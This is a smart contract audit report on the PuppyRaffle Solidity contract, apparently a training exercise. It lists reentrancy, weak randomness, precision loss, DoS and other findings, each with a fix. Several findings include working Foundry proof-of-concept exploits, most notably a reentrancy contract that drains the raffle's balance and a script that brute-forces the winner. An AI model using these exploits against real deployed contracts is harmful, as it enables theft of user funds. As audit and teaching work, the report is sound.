

# **Puppy Raffle Audit Report**

Version 1.0

0xPexy

June 26, 2025

# Puppy Raffle Audit Report

0xPexy

Jun 26, 2025

Prepared by: 0xPexy

Visit 0xPexy X!

# **Table of Contents**

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Commit Hash
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High Severity
    - \* [H-1] Violates CEI pattern in PuppyRaffle: refund function enables re-entrancy, withdrawing balance repeatedly from PuppyRaffle
    - \* [H-2] Weak randomness in PuppyRaffle::selectWinner allows anyone to select a winner and the rarity

- \* [H-3] Precision loss in PuppyRaffle::selectWinner can block the fee with-drawal
- \* [H-4] Malicious winner contract in PuppyRaffle::selectWinner can interrupt the normal raffle progress
- Medium Severity
  - \* [M-1] Unbounded for-loop checking duplicates in PuppyRaffle::enterRaffle is a potential DoS attack, incrementing gas costs for future entrants
  - \* [M-2] Mishandling ETH in PuppyRaffle::withdrawFees function might block withdrawal of fees
- Low Severity
  - \* [L-1] False-negative in PuppyRaffle::getActivePlayerIndex causes bad UX to get refunds
  - \* [L-2] Lacks zero-address check on feeAddress can cause loss of ETH
- Informational
  - \* [I-1] Outdated Solidity and floating pragma
  - \* [I-2] Unnamed numeric constants
  - \* [I-3] Missing keywords for unchanged variables
  - \* [I-4] Missing events in state-mutable selectWinner and withdrawFees
  - \* [I-5] Insufficient overall testing coverage
  - \* [I-6] Unused function

# **Protocol Summary**

**PuppyRaffle** is to enter a raffle to win a cute dog NFT. The protocol should do the following:

- 1. Call the enterRaffle function with the following parameters:
  - 1. address[] participants: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
- 2. Duplicate addresses are not allowed
- 3. Users are allowed to get a refund of their ticket & value if they call the refund function
- 4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
- 5. The owner of the protocol will set a feeAddress to take a cut of the value, and the rest of the funds will be sent to the winner of the puppy.

## Disclaimer

**OxPexy** makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by OxPexy is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

# **Risk Classification**

		Impact		
		High	Medium	Low
Likelihood	High	Н	H/M	М
	Medium	H/M	М	M/L
	Low	М	M/L	L

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

# **Audit Details**

#### **Commit Hash**

e30d199697bbc822b646d76533b66b7d529b8ef5

#### Scope

```
1 - PuppyRaffle.sol
```

#### **Roles**

- 1. Owner Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function.
- 2. Player Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

# **Executive Summary**

#### **Issues found**

Severity	Number of issues found	
High	4	
Medium	2	
Low	2	
Info	6	
Gas Optimizations	0	
Total	14	

# **Findings**

# **High Severity**

# [H-1] Violates CEI pattern in PuppyRaffle: refund function enables re-entrancy, withdrawing balance repeatedly from PuppyRaffle

**Description:** The refund function violates the *Checks-Effects-Interactions (CEI) pattern* by performing an external call sendValue before updating the internal state players[playerIndex] = address(0). If an attacker contract set it's own fallback or receive function to enter refund function, it can re-enter the refund repeatedly because that address has not been removed yet.

```
1 function refund(uint256 playerIndex) public {
2
       address playerAddress = players[playerIndex];
3
       require(
           playerAddress == msg.sender,
4
5
           "PuppyRaffle: Only the player can refund"
6
       );
7
       require(
           playerAddress != address(0),
8
9
           "PuppyRaffle: Player already refunded, or is not active"
       );
       // external calls before internal state-mutation
11
12
       payable(msg.sender).sendValue(entranceFee);
13
14
       players[playerIndex] = address(0);
```

```
15    emit RaffleRefunded(playerAddress);
16 }
```

**Impact**: The attacker contract can re-enter the refund repeatedly until the balance of PuppyRaffle gets smaller than PuppyRaffle::entranceFee, and steals almost of balance.

**Proof of Concept**: The RaffleReentrancy contract has fallback and receive function to call PuppyRaffle::refund. If RaffleReentrancy::attack is called, you might see RaffleReentrancy steal all balance of PuppyRaffle.

#### Code

Place the following test into the test/PuppyRaffleTest.t.sol.

```
1 function testRefundReentrancy() public {
       address[] memory players = new address[](4);
3
       players[0] = player0ne;
4
       players[1] = playerTwo;
5
       players[2] = playerThree;
6
       players[3] = playerFour;
7
       puppyRaffle.enterRaffle{value: entranceFee * 4}(players);
8
       address attacker = address(99);
       vm.deal(attacker, 10 ether);
9
10
       vm.prank(attacker);
11
       RaffleReentrancy attackContract = new RaffleReentrancy{
12
           value: entranceFee
       }(attacker, puppyRaffle, entranceFee);
13
14
       uint balanceAttackContractBefore = address(attackContract).balance;
       uint balanceRaffleBefore = address(puppyRaffle).balance;
15
16
       attackContract.attack();
       uint balanceAttackContractAfter = address(attackContract).balance;
17
       uint balanceRaffleAfter = address(puppyRaffle).balance;
18
19
       console.log(
20
           "balance of AttackContract before: %s, after: %s",
21
           balanceAttackContractBefore,
           balanceAttackContractAfter
22
23
       );
24
       console.log(
           "balance of Raffle before: %s, after: %s",
25
26
           balanceRaffleBefore,
27
           balanceRaffleAfter
28
       );
29 }
31 contract RaffleReentrancy {
32
       address owner;
33
       PuppyRaffle public raffle;
       uint public entranceFee;
34
       uint public index;
37
       constructor(
```

```
38
            address _owner,
            PuppyRaffle _raffle,
40
            uint _entranceFee
41
        ) payable {
            owner = _owner;
42
43
            raffle = _raffle;
44
            entranceFee = _entranceFee;
45
            index = 0;
       }
46
47
48
       function attack() public {
49
            address ownAddr = address(this);
            address[] memory player = new address[](1);
50
51
            player[0] = ownAddr;
52
            raffle.enterRaffle{value: entranceFee}(player);
            index = raffle.getActivePlayerIndex(ownAddr);
53
54
            raffle.refund(index);
       }
55
57
        function _callRefund() private {
58
            if (address(raffle).balance >= entranceFee) {
59
                raffle.refund(index);
            }
       }
61
62
       function withdraw(uint amount) public {
            require(msg.sender == owner);
64
            payable(owner).transfer(amount);
       }
67
68
        fallback() external payable {
69
            _callRefund();
70
       }
71
        receive() external payable {
72
73
            _callRefund();
       }
74
75 }
```

## **Recommended Mitigation:**

1. Use the CEI pattern. Run external-call statements after all internal statements are done.

```
1 - payable(msg.sender).sendValue(entranceFee);
2  players[playerIndex] = address(0);
3  emit RaffleRefunded(playerAddress);
4  + payable(msg.sender).sendValue(entranceFee);
```

2. Use a boolean lock variable, which is set to be **true** in entering, to be **false** in the end of refund.

3. Use ReentrancyGuard by Openzeppelin.

# [H-2] Weak randomness in PuppyRaffle::selectWinner allows anyone to select a winner and the rarity

**Description:** PuppyRaffle::selectWinner selects random raffle winner by hashing predictable msg.sender, block.timestamp, block.difficulty inputs, resulting to weak randomness.

Also, the rarity depends on predictable inputs.

**Impact:** Anyone can select the raffle winner to receive Ether and a winner NFT, even can get LEGENDARY\_RARITY easily.

**Proof of Concept:** In one block, the block.\* values are fixed, an attacker can generate arbitrary accounts and compute the winnerIndex by each address until the target index found, then finally call selectWinner by that account.

Code

Below code shows exploiting address that can choose target to be winner.

```
function testAttackerSelectWinner() public playersEntered {
2
           vm.warp(block.timestamp + duration + 1);
3
           vm.roll(block.number + 1);
           int32 TARGET_INDEX = 0;
5
           address target = player0ne;
6
7
8
           int32 winnerIndex = -1;
9
           uint256 addrHex = 0x19;
10
           address attacker = makeAddr(Strings.toString(addrHex));
           while (winnerIndex != TARGET_INDEX) {
11
               attacker = makeAddr(Strings.toString(++addrHex));
12
13
               winnerIndex = int32(
14
                    uint256(
15
                        keccak256(
```

```
16
                              abi.encodePacked(
17
                                   attacker,
                                  block.timestamp,
18
19
                                  block.difficulty
                              )
                          )
                     ) % 4
22
                 );
23
24
            }
25
26
            vm.prank(attacker);
27
            puppyRaffle.selectWinner();
28
            assertEq(target, puppyRaffle.previousWinner());
29
        }
```

**Recommended Mitigation:** Use oracles like *Chainlink VRF* in random value generation.

## [H-3] Precision loss in PuppyRaffle::selectWinner can block the fee withdrawal

**Description:** In PuppyRaffle::selectWinner, there is a precision loss in calculating fees, which is caused by following two reasons.

- 1. *Divisions*: prizePool and fee includes division by 100, which is necessary for applying ratio, amount less than 100 will be omitted. The problem is either one does not include subtraction from totalFees, both may have less value than original ones.
- 2. Downcasting: totalFees is uint64 and fee is downcasted from uint256 to make consistent. This means if totalFees becomes greater than type (uint64).max, it can overflow and lose the exceeded amount.

**Impact:** Collected fees are withdrawn only if the balance of the PuppyRaffle equals to the totalFees. Due to the precision loss, totalFees could be less than the balance and blocked to withdraw fees.

#### **Proof of Concept:**

Code

1. Add below code to PuppyRaffleTest.

```
function testBlockWithrawFees() public playersEntered {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();

uint256 totalFee = puppyRaffle.totalFees();
    uint256 puppyRaffleBalance = address(puppyRaffle).balance;
```

2. Set PuppyRaffleTest::entranceFee to 12345678, 100e18. One is for divisions, the other is for downcasting.

```
1 uint256 entranceFee = 12345678;
2 uint256 entranceFee = 100e18;
```

3. Run forge test --mt testBlockWithrawFees -vvin each case.

### **Recommended Mitigation:**

1. Calculate fee by subtraction in selectWinner.

```
1 uint256 prizePool = (totalAmountCollected * 80) / 100;
2 - uint256 fee = (totalAmountCollected * 20) / 100;
3 + uint256 fee = totalAmountCollected - prizePool;
```

2. Change the type of totalFees to uint256 in PuppyRaffle.

```
1 - uint64 public totalFees = 0;
2 + uint256 public totalFees = 0;
```

3. Remove downcasting fee in selectWinner.

```
1 - totalFees = totalFees + uint64(fee);
2 + totalFees = totalFees + fee;
```

# [H-4] Malicious winner contract in PuppyRaffle::selectWinner can interrupt the normal raffle progress

**Description:** In selectWinner, there are two reward transfers for ETH and ERC721, which are implemented just pushing asset to the winner.

```
1 (bool success, ) = winner.call{value: prizePool}("");
2 require(success, "PuppyRaffle: Failed to send prize pool to winner");
3 _safeMint(winner, tokenId);
```

But there are an attack vector if the winner is a contract. The winner contract which does not have the correct fallback or receive, or on ERC721Received may revert any transaction which calls selectWinner.

**Impact:** The Raffle is hard to be done as intended. Maybe the operators could push some arbitrary addresses in the raffle and submit multiple transactions with calling selectWinner until one of the normal addresses is selected, but that's not what the protocol intended.

#### **Proof of Concept:**

#### Code

Below code shows that the transactions are reverted by the winner contracts missing fallbacks for ETH and ERC721 respectively.

```
1 contract NoETHReceiver {
    function onERC721Received(
3
          address operator,
          address from,
5
          uint256 tokenId,
          bytes calldata data
6
7
       ) external returns (bytes4) {
8
          return this.onERC721Received.selector;
9
       }
10 }
11
12 contract NoERC721Receiver {
13
       receive() external payable {}
14 }
15
16 function testInterruptRaffle() public {
17
       NoETHReceiver noETH = new NoETHReceiver();
18
       NoERC721Receiver noERC = new NoERC721Receiver();
19
       uint playersLen = 4;
20
       address[] memory players = new address[](playersLen);
21
       players[0] = player0ne;
22
       players[1] = playerTwo;
23
       players[2] = address(noETH);
24
       players[3] = address(noERC);
```

```
puppyRaffle.enterRaffle{value: entranceFee * playersLen}(players);
25
26
       // Contract without onERC721Received is winner
27
       vm.warp(block.timestamp + duration + 1);
       vm.roll(block.number + 1);
28
29
       vm.expectRevert("ERC721: transfer to non ERC721Receiver implementer
           ");
       puppyRaffle.selectWinner();
       // Contract without ETH fallback is winner
31
32
       vm.warp(block.timestamp + duration + 3);
       vm.roll(block.number + 1);
34
       vm.expectRevert("PuppyRaffle: Failed to send prize pool to winner")
       puppyRaffle.selectWinner();
36 }
```

**Recommended Mitigation:** Use the *Pull over Push* pattern to transfer rewards. See the example code below.

- 1. Record rewards for the winner in selectWinner.
- 2. Add a funtion to request rewards for the winner.

```
contract PuppyRaffle is ERC721, Ownable {
2
       struct RaffleResult {
3 +
4 +
           address winner;
           uint256 prizePool;
5 +
           uint256 tokenId;
6 +
7 +
      }
      mapping(uint256 => RaffleResult) public raffleResults;
8 +
9 +
       uint256 public raffleId = 0;
10 +
      uint256 tokenId = 0;
11
       function selectWinner() external {
13 -
           (bool success, ) = winner.call{value: prizePool}("");
           require(success, "PuppyRaffle: Failed to send prize pool to
14 -
      winner");
           _safeMint(winner, tokenId);
15
16
           raffleResults[raffleId++] = RaffleResult({
17 +
18 +
               winner: winner,
19 +
               prizePool: prizePool,
20 +
               tokenId: tokenId++
21 +
           });
       }
22
23
24 +
       function requestRewards(uint256 _raffleId) external {
25 +
           RaffleResult memory res = raffleResults[_raffleId];
26 +
           require(
               res.winner != address(0),
27 +
```

```
28 +
          "PuppyRaffle: Winner has not been selected yet or already
       received rewards"
29 +
           );
           // make sure to change internal state before external calls
30 +
31 +
           raffleResults[_raffleId].winner = address(0);
           (bool success, ) = res.winner.call{value: res.prizePool}("");
32 +
33 +
           require(success, "PuppyRaffle: Failed to send prize pool to
      winner");
34 +
           _safeMint(res.winner, res.tokenId);
35 +
       }
36
       . . .
37 }
```

#### **Test Code**

Add the followings in PuppyRaffleTest.t.sol and run with forge test --mt testRequestRewards -vv.

```
1
       function testRequestRewards() public {
2
           NoETHReceiver noETH = new NoETHReceiver();
3
           NoERC721Receiver noERC = new NoERC721Receiver();
4
           uint playersLen = 4;
5
           address[] memory players = new address[](playersLen);
6
           players[0] = player0ne;
7
           players[1] = playerTwo;
8
           players[2] = address(noETH);
9
           players[3] = address(noERC);
10
           uint256 raffleId = 0;
11
           puppyRaffle.enterRaffle{value: entranceFee * playersLen}(
12
               players);
13
           vm.warp(block.timestamp + duration + 1);
           vm.roll(block.number + 1);
14
15
           // Contract without onERC721Received is winner - cannot request
                rewards
16
           puppyRaffle.selectWinner();
17
           vm.expectRevert("ERC721: transfer to non ERC721Receiver
               implementer");
           puppyRaffle.requestRewards(raffleId++);
18
           puppyRaffle.enterRaffle{value: entranceFee * playersLen}(
               players);
21
           vm.warp(block.timestamp + duration + 3);
22
           vm.roll(block.number + 1);
           // Contract without ETH fallback is winner - cannot request
23
               rewards
24
           puppyRaffle.selectWinner();
25
           vm.expectRevert("PuppyRaffle: Failed to send prize pool to
               winner");
26
           puppyRaffle.requestRewards(raffleId++);
27
```

```
puppyRaffle.enterRaffle{value: entranceFee * playersLen}(
               players);
29
           vm.warp(block.timestamp + duration + 1);
31
           vm.roll(block.number + 1);
32
           puppyRaffle.selectWinner();
            (address winner, uint256 prizePool, uint256 tokenId) =
               puppyRaffle
34
                .raffleResults(raffleId);
           uint256 prevPlayerOneBalance = playerOne.balance;
           // playerOne is winner - can request rewards
           puppyRaffle.requestRewards(raffleId);
38
39
           assertEq(playerOne, winner);
40
           assertEq(playerOne, puppyRaffle.ownerOf(tokenId));
41
           assertEq(prizePool, playerOne.balance - prevPlayerOneBalance);
42
           // cannot request on already received or ongoing raffle
43
           vm.expectRevert(
               "PuppyRaffle: Winner has not been selected yet or already
44
                   received rewards"
45
           );
46
           puppyRaffle.requestRewards(raffleId++);
47
           vm.expectRevert(
48
               "PuppyRaffle: Winner has not been selected yet or already
                   received rewards"
49
           );
           puppyRaffle.requestRewards(raffleId);
51
       }
```

#### **Medium Severity**

# [M-1] Unbounded for-loop checking duplicates in PuppyRaffle: enterRaffle is a potential DoS attack, incrementing gas costs for future entrants

**Description**: In PuppyRaffle::enterRaffle, there is a nested for-loop with O(n^2) time-complexity to check duplicates in users entered raffle.

However, because the enterRaffle is just a payable function without constraints like ACLs, users can call it without any risk.

```
1 function enterRaffle(address[] memory newPlayers) public payable {
2   ...
3 }
```

So, the players array can be easily extended, the for-loop can be unbounded.

**Impact**: This can cause *Denial-of-Service(DoS)* attack. If malicious users call enterRaffle with large newPlayers or call enterRaffle repeatedly, gas cost to run new enterRaffle become gradually expensive. Then new late users have to pay more gas to enter, or even cannot enter the raffle and malicious users will get all rewards.

**Proof of Concept**: The first enterRaffle call pushs 1000 addresses, which cost 440181896 gas. However, the second call pushs only one address, it costs 417774202 gas, which is even more than first call. That gas amount is really huge amount itself, the worst is the more calls accumulated, the more gas needed, finally ends with revert.

#### Code

Place the following test into test/PuppyRaffleTest.t.sol.

```
function testEnterRaffleDoS() public {
2
       uint gasBefore;
3
       uint gasAfter;
       address[] memory newOnePlayer = new address[](1);
4
6
       // 1. Entering only one new user
       newOnePlayer[0] = address(99999);
7
8
       gasBefore = gasleft();
9
       puppyRaffle.enterRaffle{value: entranceFee}(newOnePlayer);
10
       gasAfter = gasleft();
       console.log("1. Gas used:", gasBefore - gasAfter);
11
12
13
        // 2. Entering 1000 new users
14
       uint numberOfPlayers = 1000;
       address[] memory players = new address[](numberOfPlayers);
15
16
       for (uint i = 0; i < numberOfPlayers; i++) {</pre>
           players[i] = address(i);
17
18
       }
19
       gasBefore = gasleft();
       puppyRaffle.enterRaffle{value: entranceFee * numberOfPlayers}(
20
           players);
       gasAfter = gasleft();
       console.log("2. Gas used:", gasBefore - gasAfter);
24
        // 3. Entering only one new user
25
       newOnePlayer[0] = address(9999);
26
       gasBefore = gasleft();
27
       puppyRaffle.enterRaffle{value: entranceFee}(newOnePlayer);
28
       gasAfter = gasleft();
```

```
console.log("3. Gas used:", gasBefore - gasAfter);
}
```

Run test via forge test --match-test testEnterRaffleDoS -vv, then you can see the expected output:

```
1 Logs:
2   1. Gas used: 61582
3   2. Gas used: 440987844
4   3. Gas used: 418609328
```

### **Recommended mitigation:**

- 1. Consider allowing duplicates. Users can make new wallet address anyways, so duplicates check does not prevent the same person from entering multiple times, only the same wallet address.
- 2. Use *mappings* to remove unbouded for-loop checking duplicates, which cost only O(1) time-complexity.

```
mapping(address => bool) public s_hasEntered;
1
2
       address[] public players; // keep if iteration is needed
3
        function enterRaffle(address[] memory newPlayers) public payable {
4
            require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
            for (uint256 i = 0; i < newPlayers.length; i++) {</pre>
6
7
            }
8
9
            for (uint256 i = 0; i < newPlayers.length; i++) {</pre>
                players.push(newPlayers[i]);
10 -
                address player = newPlayers[i];
11 +
                require(!s_hasEntered[player], "PuppyRaffle: Duplicate
12 +
       player");
13 +
                s_hasEntered[player] = true;
14 +
                players.push(player); // Only add to players if not
       duplicate
15
            }
16 -
            for (uint256 i = 0; i < players.length - 1; i++) {</pre>
                for (uint256 j = i + 1; j < players.length; j++) {</pre>
17
                    require(players[i] != players[j], "PuppyRaffle:
18
       Duplicate player");
19
            }
21
            emit RaffleEnter(newPlayers);
22
       }
```

3. Use EnumerableSet in OpenZeppelin.

# [M-2] Mishandling ETH in PuppyRaffle::withdrawFees function might block withdrawal of fees

**Description:** In PuppyRaffle::withdrawFees, there is a require(address(this). balance == uint256(totalFees)) statement for checking whether raffle is done, so that there are no active users in current. But comparing the contract balance with internal sum variable might be an attack vector, which can be maliciously added by *selfdestruct* call in another contract. (Note that the operation of *selfdestruct* has been changed recently, please check it.)

**Impact:** Due to the modified balance of PuppyRaffle does not match with PuppyRaffle:: totalFees, the require statement fails, then PuppyRaffle:: feeAddress account cannot withdraw fee normally. There maybe some solutions like account might call other contract including selfdestruct to adjust the balance, but these are not the correct intention of the protocol.

**Proof of Concept:** After 4 players entered raffle and winner has been selected, an attacker inits the contract with ETH. Then call RaffleSelfDestruct::attack function including *selfdestruct*, which pushs remaining ETH to the PuppyRaffle. As a result, PuppyRaffle::withdrawFees reverts with regarding the raffle is not done.

#### Code

```
1 function testRaffleSelfDestruct() public playersEntered {
       vm.warp(block.timestamp + duration + 1);
3
       vm.roll(block.number + 1);
4
5
       puppyRaffle.selectWinner();
6
       RaffleSelfDestruct selfDestruct = new RaffleSelfDestruct{
7
           value: 1 ether
8
       }(address(puppyRaffle));
9
       selfDestruct.attack();
10
11
       console.log(
           "balance of PuppyRaffle: %s, totalFees: %s",
13
           address(puppyRaffle).balance,
           uint(puppyRaffle.totalFees())
14
15
       );
       vm.expectRevert("PuppyRaffle: There are currently players active!")
16
       puppyRaffle.withdrawFees();
17
18 }
```

**Recommended Mitigation:** Modify the logic to check whether the raffle is done, removing the statement to comparing with the balance of PuppyRaffle.

- Check players.length in withdrawFees, revert if is not 0.
- Make a bool flag variable like raffleOngoing, set true in enterRaffle and false in

selectWinner. Revert if the flag is true.

### **Low Severity**

# [L-1] False-negative in PuppyRaffle::getActivePlayerIndex causes bad UX to get refunds

**Description:** PuppyRaffle::getActivePlayerIndex is intended to return 0 only if the given player is *inactive*, which means absence in players. But *active* player at players[0] gets 0 as a return value of this method. This is often called *False-negative*.

**Impact:** According to the natspec of PuppyRaffle: refund, external users could find their address to call refund by getActivePlayerIndex. But because of the vague return value, users could misunderstand whether they entered to raffle successfully or not, which cause bad UX to get refunds.

**Recommended Mitigation:** Add reverting or returning special value(2^256-1) for inactive users.

```
function getActivePlayerIndex(
   address player
   ) external view returns (uint256) {
     for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
     }
     + revert("PuppyRaffle: Player is not active");
}</pre>
```

#### [L-2] Lacks zero-address check on feeAddress can cause loss of ETH

**Description:** Lacks zero-address check on setting address **public** feeAddress in PuppyRaffle::constructor function and PuppyRaffle::changeFeeAddress function might cause feeAddress to be zero address.

**Impact:** Because PuppyRaffle::withdrawFees can be called by anyone, Ether with amount totalFees can be lost if feeAddress is set to zero address.

#### **Recommended Mitigation:**

1. Add input validation in each part.

```
1 constructor(
2    uint256 _entranceFee,
3    address _feeAddress,
```

```
uint256 _raffleDuration
5 ) ERC721("Puppy Raffle", "PR") {
6 +
       require(
              _feeAddress != address(0),
7 +
             "PuppyRaffle: Fee address should not be zero"
8 +
9 +
        );
      . . .
11 }
12
13 function changeFeeAddress(address newFeeAddress) external onlyOwner {
14 +
      require(
15 +
             newFeeAddress != address(0),
             "PuppyRaffle: Fee address should not be zero"
16 +
17 +
        );
     feeAddress = newFeeAddress;
18
       emit FeeAddressChanged(newFeeAddress);
19
20 }
```

2. Add access-control check in withrawFees.

```
1 - function withdrawFees() external2 + function withdrawFees() external onlyOwner
```

#### **Informational**

### [I-1] Outdated Solidity and floating pragma

**Description**: This protocol uses outdated Solidity v0.7.6, while the latest is v0.8.30 release in May 7, 2025. Outdated version might have potential bugs or vulnerabilites. Also, using *floating pragma* does not ensure a consistent compile environment.

## **Recommended Mitigation:**

- 1. Use recent Solidity version(>=0.8.0).
- 2. Use strict pragma and unify version.

```
1 - pragma solidity ^0.7.6;2 + pragma solidity 0.7.6;
```

#### [I-2] Unnamed numeric constants

**Description:** In PuppyRaffle::selectWinner function, there are *unnamed magic numbers* to calculate rewards and fees of the funds. This might mislead the intention, so use named constant variables, or storage variables if update is needed.

## **Recommended Mitigation:**

1. Add constant member variables in PuppyRaffle.

```
1 + // Constants for calculating winner reward and fee
2 + uint256 private constant TOTAL_RATIO = 100;
3 + uint256 private constant PRIZE_RATIO = 80;
4 + uint256 private constant FEE_RATIO = 20;
```

2. Use them in selectWinner.

## [I-3] Missing keywords for unchanged variables

In PuppyRaffle contract, variables representing IPFS URI, commonImageUri, rareImageUri and legendaryImageUri are unchanged, add constant keyword to ensure it.

```
1 - string private commonImageUri = ...
2 - string private rareImageUri = ...
3 - string private legendaryImageUri = ....
4 + string private constant commonImageUri = ....
5 + string private constant rareImageUri = ...
6 + string private constant legendaryImageUri = ...
```

raffleDuration is only intialized in constructor and unchanged, add immutable keyword for it.

```
1 - uint256 public raffleDuration;2 + uint256 public immutable raffleDuration;
```

#### [I-4] Missing events in state-mutable selectWinner and withdrawFees

**Description:** In the PuppyRaffle contract, two state-mutable functions named selectWinner and withdrawFees do not emit events while other state-mutable functions emit.

**Recommended Mitigation:** Add events for selectWinner and withdrawFees.

# [I-5] Insufficient overall testing coverage

About 85% lines and statments are tested in PuppyRaffle, improve overall testing coverage to make protocol more secure.

# [I-6] Unused function

The PuppyRaffle::\_isActivePlayer is not used or referenced anywhere while requiring unnecessary gas when deploying the contract. Remove for gas efficiency and clean code.